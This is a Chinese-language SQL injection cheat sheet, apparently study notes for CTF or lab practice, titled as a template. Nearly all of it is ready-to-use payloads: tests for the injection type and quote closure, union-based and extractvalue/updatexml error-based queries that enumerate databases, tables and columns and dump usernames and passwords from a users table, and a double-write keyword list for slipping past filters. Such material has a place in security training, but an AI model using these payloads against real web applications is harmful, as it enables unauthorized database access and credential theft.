sql注入模板
万能密码
https://blog.csdn.net/hackers110/article/details/147576152
基础知识
注入类型
按照查询字段分为字符型和数字型
按照注入方法分为union注入,报错注入,布尔注入等
如何判断字符型or数字型?
法1
如果提交and 1=1和and 1=2都可正常显示,则不可能是数字型
如果提交and 1=2无法正常显示,则为数字型
法2
用id=2-1,如果是字符型不能被运算。只有数字型能被运算
字符型需要闭合符,数字型不需要
闭合方式
如何判断闭合方式?
法1
输入?id=1''',看报错
法2
输入?id=1正常,页面为真
输入?id=1'无回显(报错),页面为假
输入?id=1'--+正常,页面为真
则为单引号闭合
union注入
字符型
先判断一下闭合方式
?id=1'union --+
step1 确定列数
注意前后查询的列数必须一致
用group by二分法
?id=1'group by 3 --+
step2 查询回显位
假设为3列后
?id=1'union select 1,2,3 --+
让第1行不存在,显示2,3行
?id=-1'union select 1,2,3 --+
确定2,3为回显位,查询版本,库名
?id=-1'union select 1,version(),database() --+
step3 查询表名和列名
查表名
?id=-1'union select 1,table_name,3 from information_schema.tables --+
过滤数据库的表名,即table_schema为库名的行
?id=-1'union select 1,table_name,3 from information_schema.tables where table_schema='库名'--+
把查询信息放到一行回显
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'--+
查列名
?id=-1'union select 1,column_name,3 from information_schema.columns --+
把查询信息放到一行回显
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
step4 查询最终目标
?id=-1'union select 1,group_concat(username,password),3 from users --+
数字型
流程上和字符型一样,注意两点
1.不需要判断闭合
2.payload去掉闭合符即可
报错注入
extractValue报错
前两步和union注入一样
查表名
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
查列名
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
查询最终目标
问题:默认只能返回32个字符串
使用substring函数解决
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),1,30))) --+
从第1个字符开始,显示后面30个字符
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),31,30))) --+
从第31个字符开始,显示后面30个字符
updatexml报错
无需查询列数和回显位,只需要先确定闭合方式
查库名
?id=1' and 1=updatexml(1,concat('~',(select database())),3)--+
查表名
?id=1' and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
查列名
?id=1' and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) --+
查询最终目标
?id=1' and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,':',password),1,30) from users)),3) --+
双写绕过
frfromom,ununionion,seselectlect,anandd,infoorrmation,ordorderer by,whwhereere,passwoorrd






